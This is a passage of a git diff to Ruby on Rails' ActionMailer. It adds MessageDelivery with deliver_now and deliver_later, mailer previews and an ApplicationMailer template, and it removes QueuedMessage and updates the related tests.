+ mail.delivery_method(klass, (send(:"#{method}_settings") || {}).merge(options || {}))
else
raise "Invalid delivery method #{method.inspect}"
end
diff --git a/actionmailer/lib/action_mailer/gem_version.rb b/actionmailer/lib/action_mailer/gem_version.rb
new file mode 100644
index 0000000000..ac79788cf0
--- /dev/null
+++ b/actionmailer/lib/action_mailer/gem_version.rb
@@ -0,0 +1,15 @@
+module ActionMailer
+ # Returns the version of the currently loaded Action Mailer as a <tt>Gem::Version</tt>
+ def self.gem_version
+ Gem::Version.new VERSION::STRING
+ end
+
+ module VERSION
+ MAJOR = 5
+ MINOR = 0
+ TINY = 0
+ PRE = "alpha"
+
+ STRING = [MAJOR, MINOR, TINY, PRE].compact.join(".")
+ end
+end
diff --git a/actionmailer/lib/action_mailer/log_subscriber.rb b/actionmailer/lib/action_mailer/log_subscriber.rb
index 3fe64759ac..5b57c75ec3 100644
--- a/actionmailer/lib/action_mailer/log_subscriber.rb
+++ b/actionmailer/lib/action_mailer/log_subscriber.rb
@@ -1,18 +1,35 @@
+require 'active_support/log_subscriber'
+
module ActionMailer
+ # Implements the ActiveSupport::LogSubscriber for logging notifications when
+ # email is delivered and received.
class LogSubscriber < ActiveSupport::LogSubscriber
+ # An email was delivered.
def deliver(event)
- return unless logger.info?
- recipients = Array(event.payload[:to]).join(', ')
- info("\nSent mail to #{recipients} (#{event.duration.round(1)}ms)")
- debug(event.payload[:mail])
+ info do
+ recipients = Array(event.payload[:to]).join(', ')
+ "\nSent mail to #{recipients} (#{event.duration.round(1)}ms)"
+ end
+
+ debug { event.payload[:mail] }
end
+ # An email was received.
def receive(event)
- return unless logger.info?
- info("\nReceived mail (#{event.duration.round(1)}ms)")
- debug(event.payload[:mail])
+ info { "\nReceived mail (#{event.duration.round(1)}ms)" }
+ debug { event.payload[:mail] }
+ end
+
+ # An email was generated.
+ def process(event)
+ debug do
+ mailer = event.payload[:mailer]
+ action = event.payload[:action]
+ "\n#{mailer}##{action}: processed outbound mail in #{event.duration.round(1)}ms"
+ end
end
+ # Use the logger configured for ActionMailer::Base
def logger
ActionMailer::Base.logger
end
diff --git a/actionmailer/lib/action_mailer/mail_helper.rb b/actionmailer/lib/action_mailer/mail_helper.rb
index ec84256491..cc7935a7e0 100644
--- a/actionmailer/lib/action_mailer/mail_helper.rb
+++ b/actionmailer/lib/action_mailer/mail_helper.rb
@@ -1,4 +1,7 @@
module ActionMailer
+ # Provides helper methods for ActionMailer::Base that can be used for easily
+ # formatting messages, accessing mailer or message instances, and the
+ # attachments list.
module MailHelper
# Take the text and format it, indented two spaces for each line, and
# wrapped at 72 columns.
@@ -8,8 +11,8 @@ module ActionMailer
}.join("\n\n")
# Make list points stand on their own line
- formatted.gsub!(/[ ]*([*]+) ([^*]*)/) { |s| " #{$1} #{$2.strip}\n" }
- formatted.gsub!(/[ ]*([#]+) ([^#]*)/) { |s| " #{$1} #{$2.strip}\n" }
+ formatted.gsub!(/[ ]*([*]+) ([^*]*)/) { " #{$1} #{$2.strip}\n" }
+ formatted.gsub!(/[ ]*([#]+) ([^#]*)/) { " #{$1} #{$2.strip}\n" }
formatted
end
@@ -26,7 +29,7 @@ module ActionMailer
# Access the message attachments list.
def attachments
- @_message.attachments
+ mailer.attachments
end
# Returns +text+ wrapped at +len+ columns and indented +indent+ spaces.
@@ -46,8 +49,9 @@ module ActionMailer
end
end
- sentences.map { |sentence|
- "#{" " * indent}#{sentence.join(' ')}"
+ indentation = " " * indent
+ sentences.map! { |sentence|
+ "#{indentation}#{sentence.join(' ')}"
}.join "\n"
end
end
diff --git a/actionmailer/lib/action_mailer/message_delivery.rb b/actionmailer/lib/action_mailer/message_delivery.rb
new file mode 100644
index 0000000000..b5dc2d7497
--- /dev/null
+++ b/actionmailer/lib/action_mailer/message_delivery.rb
@@ -0,0 +1,115 @@
+require 'delegate'
+require 'active_support/core_ext/string/filters'
+
+module ActionMailer
+
+ # The <tt>ActionMailer::MessageDelivery</tt> class is used by
+ # <tt>ActionMailer::Base</tt> when creating a new mailer.
+ # <tt>MessageDelivery</tt> is a wrapper (+Delegator+ subclass) around a lazy
+ # created <tt>Mail::Message</tt>. You can get direct access to the
+ # <tt>Mail::Message</tt>, deliver the email or schedule the email to be sent
+ # through Active Job.
+ #
+ # Notifier.welcome(User.first) # an ActionMailer::MessageDelivery object
+ # Notifier.welcome(User.first).deliver_now # sends the email
+ # Notifier.welcome(User.first).deliver_later # enqueue email delivery as a job through Active Job
+ # Notifier.welcome(User.first).message # a Mail::Message object
+ class MessageDelivery < Delegator
+ def initialize(mailer, mail_method, *args) #:nodoc:
+ @mailer = mailer
+ @mail_method = mail_method
+ @args = args
+ end
+
+ def __getobj__ #:nodoc:
+ @obj ||= @mailer.send(:new, @mail_method, *@args).message
+ end
+
+ def __setobj__(obj) #:nodoc:
+ @obj = obj
+ end
+
+ # Returns the Mail::Message object
+ def message
+ __getobj__
+ end
+
+ # Enqueues the email to be delivered through Active Job. When the
+ # job runs it will send the email using +deliver_now!+. That means
+ # that the message will be sent bypassing checking +perform_deliveries+
+ # and +raise_delivery_errors+, so use with caution.
+ #
+ # Notifier.welcome(User.first).deliver_later!
+ # Notifier.welcome(User.first).deliver_later!(wait: 1.hour)
+ # Notifier.welcome(User.first).deliver_later!(wait_until: 10.hours.from_now)
+ #
+ # Options:
+ #
+ # * <tt>:wait</tt> - Enqueue the email to be delivered with a delay
+ # * <tt>:wait_until</tt> - Enqueue the email to be delivered at (after) a specific date / time
+ # * <tt>:queue</tt> - Enqueue the email on the specified queue
+ def deliver_later!(options={})
+ enqueue_delivery :deliver_now!, options
+ end
+
+ # Enqueues the email to be delivered through Active Job. When the
+ # job runs it will send the email using +deliver_now+.
+ #
+ # Notifier.welcome(User.first).deliver_later
+ # Notifier.welcome(User.first).deliver_later(wait: 1.hour)
+ # Notifier.welcome(User.first).deliver_later(wait_until: 10.hours.from_now)
+ #
+ # Options:
+ #
+ # * <tt>:wait</tt> - Enqueue the email to be delivered with a delay
+ # * <tt>:wait_until</tt> - Enqueue the email to be delivered at (after) a specific date / time
+ # * <tt>:queue</tt> - Enqueue the email on the specified queue
+ def deliver_later(options={})
+ enqueue_delivery :deliver_now, options
+ end
+
+ # Delivers an email without checking +perform_deliveries+ and +raise_delivery_errors+,
+ # so use with caution.
+ #
+ # Notifier.welcome(User.first).deliver_now!
+ #
+ def deliver_now!
+ message.deliver!
+ end
+
+ # Delivers an email:
+ #
+ # Notifier.welcome(User.first).deliver_now
+ #
+ def deliver_now
+ message.deliver
+ end
+
+ def deliver! #:nodoc:
+ ActiveSupport::Deprecation.warn(<<-MSG.squish)
+ `#deliver!` is deprecated and will be removed in Rails 5. Use
+ `#deliver_now!` to deliver immediately or `#deliver_later!` to
+ deliver through Active Job.
+ MSG
+
+ deliver_now!
+ end
+
+ def deliver #:nodoc:
+ ActiveSupport::Deprecation.warn(<<-MSG.squish)
+ `#deliver` is deprecated and will be removed in Rails 5. Use
+ `#deliver_now` to deliver immediately or `#deliver_later` to
+ deliver through Active Job.
+ MSG
+
+ deliver_now
+ end
+
+ private
+
+ def enqueue_delivery(delivery_method, options={})
+ args = @mailer.name, @mail_method.to_s, delivery_method.to_s, *@args
+ ActionMailer::DeliveryJob.set(options).perform_later(*args)
+ end
+ end
+end
diff --git a/actionmailer/lib/action_mailer/preview.rb b/actionmailer/lib/action_mailer/preview.rb
new file mode 100644
index 0000000000..44cf6665ba
--- /dev/null
+++ b/actionmailer/lib/action_mailer/preview.rb
@@ -0,0 +1,118 @@
+require 'active_support/descendants_tracker'
+
+module ActionMailer
+ module Previews #:nodoc:
+ extend ActiveSupport::Concern
+
+ included do
+ # Set the location of mailer previews through app configuration:
+ #
+ # config.action_mailer.preview_path = "#{Rails.root}/lib/mailer_previews"
+ #
+ mattr_accessor :preview_path, instance_writer: false
+
+ # Enable or disable mailer previews through app configuration:
+ #
+ # config.action_mailer.show_previews = true
+ #
+ # Defaults to true for development environment
+ #
+ mattr_accessor :show_previews, instance_writer: false
+
+ # :nodoc:
+ mattr_accessor :preview_interceptors, instance_writer: false
+ self.preview_interceptors = []
+ end
+
+ module ClassMethods
+ # Register one or more Interceptors which will be called before mail is previewed.
+ def register_preview_interceptors(*interceptors)
+ interceptors.flatten.compact.each { |interceptor| register_preview_interceptor(interceptor) }
+ end
+
+ # Register an Interceptor which will be called before mail is previewed.
+ # Either a class or a string can be passed in as the Interceptor. If a
+ # string is passed in it will be <tt>constantize</tt>d.
+ def register_preview_interceptor(interceptor)
+ preview_interceptor = case interceptor
+ when String, Symbol
+ interceptor.to_s.camelize.constantize
+ else
+ interceptor
+ end
+
+ unless preview_interceptors.include?(preview_interceptor)
+ preview_interceptors << preview_interceptor
+ end
+ end
+ end
+ end
+
+ class Preview
+ extend ActiveSupport::DescendantsTracker
+
+ class << self
+ # Returns all mailer preview classes
+ def all
+ load_previews if descendants.empty?
+ descendants
+ end
+
+ # Returns the mail object for the given email name. The registered preview
+ # interceptors will be informed so that they can transform the message
+ # as they would if the mail was actually being delivered.
+ def call(email)
+ preview = self.new
+ message = preview.public_send(email)
+ inform_preview_interceptors(message)
+ message
+ end
+
+ # Returns all of the available email previews
+ def emails
+ public_instance_methods(false).map(&:to_s).sort
+ end
+
+ # Returns true if the email exists
+ def email_exists?(email)
+ emails.include?(email)
+ end
+
+ # Returns true if the preview exists
+ def exists?(preview)
+ all.any?{ |p| p.preview_name == preview }
+ end
+
+ # Find a mailer preview by its underscored class name
+ def find(preview)
+ all.find{ |p| p.preview_name == preview }
+ end
+
+ # Returns the underscored name of the mailer preview without the suffix
+ def preview_name
+ name.sub(/Preview$/, '').underscore
+ end
+
+ protected
+ def load_previews #:nodoc:
+ if preview_path
+ Dir["#{preview_path}/**/*_preview.rb"].each{ |file| require_dependency file }
+ end
+ end
+
+ def preview_path #:nodoc:
+ Base.preview_path
+ end
+
+ def show_previews #:nodoc:
+ Base.show_previews
+ end
+
+ def inform_preview_interceptors(message) #:nodoc:
+ Base.preview_interceptors.each do |interceptor|
+ interceptor.previewing_email(message)
+ end
+ end
+ end
+ end
+end
diff --git a/actionmailer/lib/action_mailer/queued_message.rb b/actionmailer/lib/action_mailer/queued_message.rb
deleted file mode 100644
index 8d200617c4..0000000000
--- a/actionmailer/lib/action_mailer/queued_message.rb
+++ /dev/null
@@ -1,37 +0,0 @@
-require 'delegate'
-
-module ActionMailer
- class QueuedMessage < ::Delegator
- attr_reader :queue
-
- def initialize(queue, mailer_class, method_name, *args)
- @queue = queue
- @job = DeliveryJob.new(mailer_class, method_name, args)
- end
-
- def __getobj__
- @job.message
- end
-
- # Queues the message for delivery.
- def deliver
- tap { @queue.push @job }
- end
-
- class DeliveryJob
- def initialize(mailer_class, method_name, args)
- @mailer_class = mailer_class
- @method_name = method_name
- @args = args
- end
-
- def message
- @message ||= @mailer_class.send(:new, @method_name, *@args).message
- end
-
- def run
- message.deliver
- end
- end
- end
-end
diff --git a/actionmailer/lib/action_mailer/railtie.rb b/actionmailer/lib/action_mailer/railtie.rb
index 59dc26841f..05a3ac6a21 100644
--- a/actionmailer/lib/action_mailer/railtie.rb
+++ b/actionmailer/lib/action_mailer/railtie.rb
@@ -1,3 +1,4 @@
+require 'active_job/railtie'
require "action_mailer"
require "rails"
require "abstract_controller/railties/routes_helpers"
@@ -18,8 +19,11 @@ module ActionMailer
options.assets_dir ||= paths["public"].first
options.javascripts_dir ||= paths["public/javascripts"].first
options.stylesheets_dir ||= paths["public/stylesheets"].first
+ options.show_previews = Rails.env.development? if options.show_previews.nil?
- options.queue ||= app.queue
+ if options.show_previews
+ options.preview_path ||= defined?(Rails.root) ? "#{Rails.root}/test/mailers/previews" : nil
+ end
# make sure readers methods get compiled
options.asset_host ||= app.config.asset_host
@@ -27,13 +31,21 @@ module ActionMailer
ActiveSupport.on_load(:action_mailer) do
include AbstractController::UrlFor
- extend ::AbstractController::Railties::RoutesHelpers.with(app.routes)
+ extend ::AbstractController::Railties::RoutesHelpers.with(app.routes, false)
include app.routes.mounted_helpers
register_interceptors(options.delete(:interceptors))
+ register_preview_interceptors(options.delete(:preview_interceptors))
register_observers(options.delete(:observers))
options.each { |k,v| send("#{k}=", v) }
+
+ if options.show_previews
+ app.routes.append do
+ get '/rails/mailers' => "rails/mailers#index"
+ get '/rails/mailers/*path' => "rails/mailers#preview"
+ end
+ end
end
end
@@ -42,5 +54,11 @@ module ActionMailer
config.compile_methods! if config.respond_to?(:compile_methods!)
end
end
+
+ config.after_initialize do
+ if ActionMailer::Base.preview_path
+ ActiveSupport::Dependencies.autoload_paths << ActionMailer::Base.preview_path
+ end
+ end
end
end
diff --git a/actionmailer/lib/action_mailer/test_case.rb b/actionmailer/lib/action_mailer/test_case.rb
index 80f323873d..766215ce96 100644
--- a/actionmailer/lib/action_mailer/test_case.rb
+++ b/actionmailer/lib/action_mailer/test_case.rb
@@ -1,4 +1,5 @@
require 'active_support/test_case'
+require 'rails-dom-testing'
module ActionMailer
class NonInferrableMailerError < ::StandardError
@@ -10,23 +11,19 @@ module ActionMailer
end
class TestCase < ActiveSupport::TestCase
-
- # Use AM::TestCase for the base class when describing a mailer
- register_spec_type(self) do |desc|
- Class === desc && desc < ActionMailer::Base
- end
- register_spec_type(/Mailer( ?Test)?\z/i, self)
-
module Behavior
extend ActiveSupport::Concern
include ActiveSupport::Testing::ConstantLookup
include TestHelper
+ include Rails::Dom::Testing::Assertions::SelectorAssertions
+ include Rails::Dom::Testing::Assertions::DomAssertions
included do
class_attribute :_mailer_class
setup :initialize_test_deliveries
setup :set_expected_mail
+ teardown :restore_test_deliveries
end
module ClassMethods
@@ -61,11 +58,26 @@ module ActionMailer
protected
def initialize_test_deliveries
- ActionMailer::Base.delivery_method = :test
+ set_delivery_method :test
+ @old_perform_deliveries = ActionMailer::Base.perform_deliveries
ActionMailer::Base.perform_deliveries = true
+ end
+
+ def restore_test_deliveries
+ restore_delivery_method
+ ActionMailer::Base.perform_deliveries = @old_perform_deliveries
ActionMailer::Base.deliveries.clear
end
+ def set_delivery_method(method)
+ @old_delivery_method = ActionMailer::Base.delivery_method
+ ActionMailer::Base.delivery_method = method
+ end
+
+ def restore_delivery_method
+ ActionMailer::Base.delivery_method = @old_delivery_method
+ end
+
def set_expected_mail
@expected = Mail.new
@expected.content_type ["text", "plain", { "charset" => charset }]
diff --git a/actionmailer/lib/action_mailer/test_helper.rb b/actionmailer/lib/action_mailer/test_helper.rb
index 3ab37d8142..6ddacf7b79 100644
--- a/actionmailer/lib/action_mailer/test_helper.rb
+++ b/actionmailer/lib/action_mailer/test_helper.rb
@@ -1,12 +1,14 @@
module ActionMailer
+ # Provides helper methods for testing Action Mailer, including #assert_emails
+ # and #assert_no_emails
module TestHelper
# Asserts that the number of emails sent matches the given number.
#
# def test_emails
# assert_emails 0
- # ContactMailer.deliver_contact
+ # ContactMailer.welcome.deliver_now
# assert_emails 1
- # ContactMailer.deliver_contact
+ # ContactMailer.welcome.deliver_now
# assert_emails 2
# end
#
@@ -15,12 +17,12 @@ module ActionMailer
#
# def test_emails_again
# assert_emails 1 do
- # ContactMailer.deliver_contact
+ # ContactMailer.welcome.deliver_now
# end
#
# assert_emails 2 do
- # ContactMailer.deliver_contact
- # ContactMailer.deliver_contact
+ # ContactMailer.welcome.deliver_now
+ # ContactMailer.welcome.deliver_now
# end
# end
def assert_emails(number)
@@ -38,7 +40,7 @@ module ActionMailer
#
# def test_emails
# assert_no_emails
- # ContactMailer.deliver_contact
+ # ContactMailer.welcome.deliver_now
# assert_emails 1
# end
#
diff --git a/actionmailer/lib/action_mailer/version.rb b/actionmailer/lib/action_mailer/version.rb
index 0cb5dc6d64..06f80a8fdc 100644
--- a/actionmailer/lib/action_mailer/version.rb
+++ b/actionmailer/lib/action_mailer/version.rb
@@ -1,10 +1,9 @@
-module ActionMailer
- module VERSION #:nodoc:
- MAJOR = 4
- MINOR = 0
- TINY = 0
- PRE = "beta"
+require_relative 'gem_version'
- STRING = [MAJOR, MINOR, TINY, PRE].compact.join('.')
+module ActionMailer
+ # Returns the version of the currently loaded Action Mailer as a
+ # <tt>Gem::Version</tt>.
+ def self.version
+ gem_version
end
end
diff --git a/actionmailer/lib/rails/generators/mailer/USAGE b/actionmailer/lib/rails/generators/mailer/USAGE
index 7470289fd3..323bb8a87f 100644
--- a/actionmailer/lib/rails/generators/mailer/USAGE
+++ b/actionmailer/lib/rails/generators/mailer/USAGE
@@ -10,9 +10,8 @@ Example:
========
rails generate mailer Notifications signup forgot_password invoice
- creates a Notifications mailer class, views, test, and fixtures:
+ creates a Notifications mailer class, views, and test:
Mailer: app/mailers/notifications.rb
- Views: app/views/notifications/signup.erb [...]
+ Views: app/views/notifications/signup.text.erb [...]
Test: test/mailers/notifications_test.rb
- Fixtures: test/fixtures/notifications/signup [...]
diff --git a/actionmailer/lib/rails/generators/mailer/mailer_generator.rb b/actionmailer/lib/rails/generators/mailer/mailer_generator.rb
index d5bf864595..094ec85114 100644
--- a/actionmailer/lib/rails/generators/mailer/mailer_generator.rb
+++ b/actionmailer/lib/rails/generators/mailer/mailer_generator.rb
@@ -8,6 +8,7 @@ module Rails
def create_mailer_file
template "mailer.rb", File.join('app/mailers', class_path, "#{file_name}.rb")
+ template "application_mailer.rb", 'app/mailers/application_mailer.rb'
end
hook_for :template_engine, :test_framework
diff --git a/actionmailer/lib/rails/generators/mailer/templates/application_mailer.rb b/actionmailer/lib/rails/generators/mailer/templates/application_mailer.rb
new file mode 100644
index 0000000000..d25d8892dd
--- /dev/null
+++ b/actionmailer/lib/rails/generators/mailer/templates/application_mailer.rb
@@ -0,0 +1,4 @@
+class ApplicationMailer < ActionMailer::Base
+ default from: "from@example.com"
+ layout 'mailer'
+end
diff --git a/actionmailer/lib/rails/generators/mailer/templates/mailer.rb b/actionmailer/lib/rails/generators/mailer/templates/mailer.rb
index edcfb4233d..bce64a5e6e 100644
--- a/actionmailer/lib/rails/generators/mailer/templates/mailer.rb
+++ b/actionmailer/lib/rails/generators/mailer/templates/mailer.rb
@@ -1,6 +1,5 @@
<% module_namespacing do -%>
-class <%= class_name %> < ActionMailer::Base
- default from: "from@example.com"
+class <%= class_name %> < ApplicationMailer
<% actions.each do |action| -%>
# Subject can be set in your I18n file at config/locales/en.yml
diff --git a/actionmailer/test/abstract_unit.rb b/actionmailer/test/abstract_unit.rb
index 4b38d4bd31..7681679dc7 100644
--- a/actionmailer/test/abstract_unit.rb
+++ b/actionmailer/test/abstract_unit.rb
@@ -8,57 +8,42 @@ silence_warnings do
Encoding.default_external = "UTF-8"
end
-require 'minitest/autorun'
+require 'active_support/testing/autorun'
require 'action_mailer'
require 'action_mailer/test_case'
-require 'active_support/queueing'
+require 'mail'
-silence_warnings do
- # These external dependencies have warnings :/
- require 'mail'
-end
+# Emulate AV railtie
+require 'action_view'
+ActionMailer::Base.send(:include, ActionView::Layouts)
# Show backtraces for deprecated behavior for quicker cleanup.
ActiveSupport::Deprecation.debug = true
-# Bogus template processors
-ActionView::Template.register_template_handler :haml, lambda { |template| "Look its HAML!".inspect }
-ActionView::Template.register_template_handler :bak, lambda { |template| "Lame backup".inspect }
+# Disable available locale checks to avoid warnings running the test suite.
+I18n.enforce_available_locales = false
FIXTURE_LOAD_PATH = File.expand_path('fixtures', File.dirname(__FILE__))
ActionMailer::Base.view_paths = FIXTURE_LOAD_PATH
-class MockSMTP
- def self.deliveries
- @@deliveries
- end
-
- def initialize
- @@deliveries = []
- end
-
- def sendmail(mail, from, to)
- @@deliveries << [mail, from, to]
- end
-
- def start(*args)
- yield self
+module Rails
+ def self.root
+ File.expand_path('../', File.dirname(__FILE__))
end
end
-class Net::SMTP
- def self.new(*args)
- MockSMTP.new
- end
+# Skips the current run on Rubinius using Minitest::Assertions#skip
+def rubinius_skip(message = '')
+ skip message if RUBY_ENGINE == 'rbx'
end
-
-def set_delivery_method(method)
- @old_delivery_method = ActionMailer::Base.delivery_method
- ActionMailer::Base.delivery_method = method
+# Skips the current run on JRuby using Minitest::Assertions#skip
+def jruby_skip(message = '')
+ skip message if defined?(JRUBY_VERSION)
end
-def restore_delivery_method
- ActionMailer::Base.delivery_method = @old_delivery_method
-end
+require 'mocha/setup' # FIXME: stop using mocha
-ActiveSupport::Deprecation.silenced = true
+# FIXME: we have tests that depend on run order, we should fix that and
+# remove this method call.
+require 'active_support/test_case'
+ActiveSupport::TestCase.test_order = :sorted
diff --git a/actionmailer/test/assert_select_email_test.rb b/actionmailer/test/assert_select_email_test.rb
new file mode 100644
index 0000000000..cae2e20abd
--- /dev/null
+++ b/actionmailer/test/assert_select_email_test.rb
@@ -0,0 +1,47 @@
+require 'abstract_unit'
+
+class AssertSelectEmailTest < ActionMailer::TestCase
+ class AssertSelectMailer < ActionMailer::Base
+ def test(html)
+ mail body: html, content_type: "text/html",
+ subject: "Test e-mail", from: "test@test.host", to: "test <test@test.host>"
+ end
+ end
+
+ class AssertMultipartSelectMailer < ActionMailer::Base
+ def test(options)
+ mail subject: "Test e-mail", from: "test@test.host", to: "test <test@test.host>" do |format|
+ format.text { render text: options[:text] }
+ format.html { render text: options[:html] }
+ end
+ end
+ end
+
+ #
+ # Test assert_select_email
+ #
+
+ def test_assert_select_email
+ assert_raise ActiveSupport::TestCase::Assertion do
+ assert_select_email {}
+ end
+
+ AssertSelectMailer.test("<div><p>foo</p><p>bar</p></div>").deliver_now
+ assert_select_email do
+ assert_select "div:root" do
+ assert_select "p:first-child", "foo"
+ assert_select "p:last-child", "bar"
+ end
+ end
+ end
+
+ def test_assert_select_email_multipart
+ AssertMultipartSelectMailer.test(html: "<div><p>foo</p><p>bar</p></div>", text: 'foo bar').deliver_now
+ assert_select_email do
+ assert_select "div:root" do
+ assert_select "p:first-child", "foo"
+ assert_select "p:last-child", "bar"
+ end
+ end
+ end
+end
diff --git a/actionmailer/test/asset_host_test.rb b/actionmailer/test/asset_host_test.rb
index 32ae76a7c5..10cfdcf693 100644
--- a/actionmailer/test/asset_host_test.rb
+++ b/actionmailer/test/asset_host_test.rb
@@ -9,14 +9,10 @@ class AssetHostMailer < ActionMailer::Base
end
end
-class AssetHostTest < ActiveSupport::TestCase
+class AssetHostTest < ActionMailer::TestCase
def setup
- set_delivery_method :test
- ActionMailer::Base.perform_deliveries = true
- ActionMailer::Base.deliveries.clear
AssetHostMailer.configure do |c|
c.asset_host = "http://www.example.com"
- c.assets_dir = ''
end
end
@@ -26,31 +22,16 @@ class AssetHostTest < ActiveSupport::TestCase
def test_asset_host_as_string
mail = AssetHostMailer.email_with_asset
- assert_equal %Q{<img alt="Somelogo" src="http://www.example.com/images/somelogo.png" />}, mail.body.to_s.strip
+ assert_dom_equal %Q{<img alt="Somelogo" src="http://www.example.com/images/somelogo.png" />}, mail.body.to_s.strip
end
def test_asset_host_as_one_argument_proc
AssetHostMailer.config.asset_host = Proc.new { |source|
if source.starts_with?('/images')
- "http://images.example.com"
- else
- "http://assets.example.com"
+ 'http://images.example.com'
end
}
mail = AssetHostMailer.email_with_asset
- assert_equal %Q{<img alt="Somelogo" src="http://images.example.com/images/somelogo.png" />}, mail.body.to_s.strip
- end
-
- def test_asset_host_as_two_argument_proc
- ActionController::Base.config.asset_host = Proc.new {|source,request|
- if request && request.ssl?
- "https://www.example.com"
- else
- "http://www.example.com"
- end
- }
- mail = nil
- assert_nothing_raised { mail = AssetHostMailer.email_with_asset }
- assert_equal %Q{<img alt="Somelogo" src="http://www.example.com/images/somelogo.png" />}, mail.body.to_s.strip
+ assert_dom_equal %Q{<img alt="Somelogo" src="http://images.example.com/images/somelogo.png" />}, mail.body.to_s.strip
end
end
diff --git a/actionmailer/test/base_test.rb b/actionmailer/test/base_test.rb
index 170923673b..396d0a95b5 100644
--- a/actionmailer/test/base_test.rb
+++ b/actionmailer/test/base_test.rb
@@ -3,18 +3,27 @@ require 'abstract_unit'
require 'set'
require 'action_dispatch'
-require 'active_support/queueing'
require 'active_support/time'
require 'mailers/base_mailer'
require 'mailers/proc_mailer'
require 'mailers/asset_mailer'
-require 'mailers/async_mailer'
class BaseTest < ActiveSupport::TestCase
- def teardown
- ActionMailer::Base.asset_host = nil
- ActionMailer::Base.assets_dir = nil
+ include Rails::Dom::Testing::Assertions::DomAssertions
+
+ setup do
+ @original_delivery_method = ActionMailer::Base.delivery_method
+ ActionMailer::Base.delivery_method = :test
+ @original_asset_host = ActionMailer::Base.asset_host
+ @original_assets_dir = ActionMailer::Base.assets_dir
+ end
+
+ teardown do
+ ActionMailer::Base.asset_host = @original_asset_host
+ ActionMailer::Base.assets_dir = @original_assets_dir
+ BaseMailer.deliveries.clear
+ ActionMailer::Base.delivery_method = @original_delivery_method
end
test "method call to mail does not raise error" do
@@ -105,6 +114,7 @@ class BaseTest < ActiveSupport::TestCase
test "attachment gets content type from filename" do
email = BaseMailer.attachment_with_content
assert_equal('invoice.pdf', email.attachments[0].filename)
+ assert_equal('application/pdf', email.attachments[0].mime_type)
end
test "attachment with hash" do
@@ -202,19 +212,82 @@ class BaseTest < ActiveSupport::TestCase
end
test "subject gets default from I18n" do
- BaseMailer.default subject: nil
- email = BaseMailer.welcome(subject: nil)
- assert_equal "Welcome", email.subject
+ with_default BaseMailer, subject: nil do
+ email = BaseMailer.welcome(subject: nil)
+ assert_equal "Welcome", email.subject
- I18n.backend.store_translations('en', base_mailer: {welcome: {subject: "New Subject!"}})
- email = BaseMailer.welcome(subject: nil)
- assert_equal "New Subject!", email.subject
+ with_translation 'en', base_mailer: {welcome: {subject: "New Subject!"}} do
+ email = BaseMailer.welcome(subject: nil)
+ assert_equal "New Subject!", email.subject
+ end
+ end
+ end
+
+ test 'default subject can have interpolations' do
+ with_translation 'en', base_mailer: {with_subject_interpolations: {subject: 'Will the real %{rapper_or_impersonator} please stand up?'}} do
+ email = BaseMailer.with_subject_interpolations
+ assert_equal 'Will the real Slim Shady please stand up?', email.subject
+ end
end
test "translations are scoped properly" do
- I18n.backend.store_translations('en', base_mailer: {email_with_translations: {greet_user: "Hello %{name}!"}})
- email = BaseMailer.email_with_translations
- assert_equal 'Hello lifo!', email.body.encoded
+ with_translation 'en', base_mailer: {email_with_translations: {greet_user: "Hello %{name}!"}} do
+ email = BaseMailer.email_with_translations
+ assert_equal 'Hello lifo!', email.body.encoded
+ end
+ end
+
+ test "adding attachments after mail was called raises exception" do
+ class LateAttachmentMailer < ActionMailer::Base
+ def welcome
+ mail body: "yay", from: "welcome@example.com", to: "to@example.com"
+ attachments['invoice.pdf'] = 'This is test File content'
+ end
+ end
+
+ e = assert_raises(RuntimeError) { LateAttachmentMailer.welcome.message }
+ assert_match(/Can't add attachments after `mail` was called./, e.message)
+ end
+
+ test "adding inline attachments after mail was called raises exception" do
+ class LateInlineAttachmentMailer < ActionMailer::Base
+ def welcome
+ mail body: "yay", from: "welcome@example.com", to: "to@example.com"
+ attachments.inline['invoice.pdf'] = 'This is test File content'
+ end
+ end
+
+ e = assert_raises(RuntimeError) { LateInlineAttachmentMailer.welcome.message }
+ assert_match(/Can't add attachments after `mail` was called./, e.message)
+ end
+
+ test "adding inline attachments while rendering mail works" do
+ class LateInlineAttachmentMailer < ActionMailer::Base
+ def on_render
+ mail from: "welcome@example.com", to: "to@example.com"
+ end
+ end
+
+ mail = LateInlineAttachmentMailer.on_render
+ assert_nothing_raised { mail.message }
+
+ assert_equal ["image/jpeg; filename=controller_attachments.jpg",
+ "image/jpeg; filename=attachments.jpg"], mail.attachments.inline.map {|a| a['Content-Type'].to_s }
+ end
+
+ test "accessing attachments works after mail was called" do
+ class LateAttachmentAccessorMailer < ActionMailer::Base
+ def welcome
+ attachments['invoice.pdf'] = 'This is test File content'
+ mail body: "yay", from: "welcome@example.com", to: "to@example.com"
+
+ unless attachments.map(&:filename) == ["invoice.pdf"]
+ raise Minitest::Assertion, "Should allow access to attachments"
+ end
+ end
+ end
+
+ assert_nothing_raised { LateAttachmentAccessorMailer.welcome }
end
# Implicit multipart
@@ -402,37 +475,22 @@ class BaseTest < ActiveSupport::TestCase
end
test "calling just the action should return the generated mail object" do
- BaseMailer.deliveries.clear
email = BaseMailer.welcome
assert_equal(0, BaseMailer.deliveries.length)
assert_equal('The first email on new API!', email.subject)
end
test "calling deliver on the action should deliver the mail object" do
- BaseMailer.deliveries.clear
BaseMailer.expects(:deliver_mail).once
- mail = BaseMailer.welcome.deliver
+ mail = BaseMailer.welcome.deliver_now
assert_equal 'The first email on new API!', mail.subject
end
test "calling deliver on the action should increment the deliveries collection if using the test mailer" do
- BaseMailer.delivery_method = :test
- BaseMailer.deliveries.clear
- BaseMailer.welcome.deliver
+ BaseMailer.welcome.deliver_now
assert_equal(1, BaseMailer.deliveries.length)
end
- test "delivering message asynchronously" do
- AsyncMailer.delivery_method = :test
- AsyncMailer.deliveries.clear
-
- AsyncMailer.welcome.deliver
- assert_equal 0, AsyncMailer.deliveries.length
-
- AsyncMailer.queue.drain
- assert_equal 1, AsyncMailer.deliveries.length
- end
-
test "calling deliver, ActionMailer should yield back to mail to let it call :do_delivery on itself" do
mail = Mail::Message.new
mail.expects(:do_delivery).once
@@ -442,36 +500,35 @@ class BaseTest < ActiveSupport::TestCase
# Rendering
test "you can specify a different template for implicit render" do
- mail = BaseMailer.implicit_different_template('implicit_multipart').deliver
+ mail = BaseMailer.implicit_different_template('implicit_multipart').deliver_now
assert_equal("HTML Implicit Multipart", mail.html_part.body.decoded)
assert_equal("TEXT Implicit Multipart", mail.text_part.body.decoded)
end
test "should raise if missing template in implicit render" do
- BaseMailer.deliveries.clear
assert_raises ActionView::MissingTemplate do
- BaseMailer.implicit_different_template('missing_template').deliver
+ BaseMailer.implicit_different_template('missing_template').deliver_now
end
assert_equal(0, BaseMailer.deliveries.length)
end
